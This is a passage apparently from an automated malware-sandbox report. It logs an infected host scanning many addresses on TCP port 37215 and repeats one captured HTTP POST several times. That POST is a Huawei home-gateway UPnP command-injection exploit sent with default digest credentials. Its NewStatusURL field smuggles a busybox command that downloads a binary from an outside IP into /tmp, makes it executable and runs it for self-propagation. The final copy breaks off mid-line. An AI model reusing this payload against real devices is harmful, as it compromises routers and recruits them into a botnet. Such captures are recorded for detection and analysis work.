Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 68.167.0.57:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.168.42.164:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.83.73.123:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.70.235.253:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.77.109.254:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 174.115.244.95:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.160.156.49:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.31.190.63:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.182.204.180:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.103.207.93:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.125.158.232:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 89.78.10.110:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.11.239.148:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.190.184.173:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 73.101.145.240:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.36.157.115:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.83.69.164:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.135.96.216:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 96.106.11.16:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.94.11.186:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.60.223.99:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.237.129.112:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.79.55.82:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.181.197.198:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.62.145.99:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.71.92.250:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.242.37.198:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.222.248.184:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.154.39.9:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 81.248.74.146:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 54.135.243.118:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.12.77.26:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.30.22.113:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.159.91.18:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 19.12.63.247:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.158.124.205:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.100.184.235:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.133.216.121:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.122.156.147:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.175.33.170:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.254.50.117:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.176.233.18:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 209.42.232.104:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.12.184.96:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 76.116.2.201:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.244.152.99:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.108.26.153:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.36.73.144:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.83.166.17:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.111.119.42:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.245.191.29:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.204.62.77:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 12.225.247.90:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 46.183.5.78:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.165.200.1:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.196.193.149:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.107.164.216:37215

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope 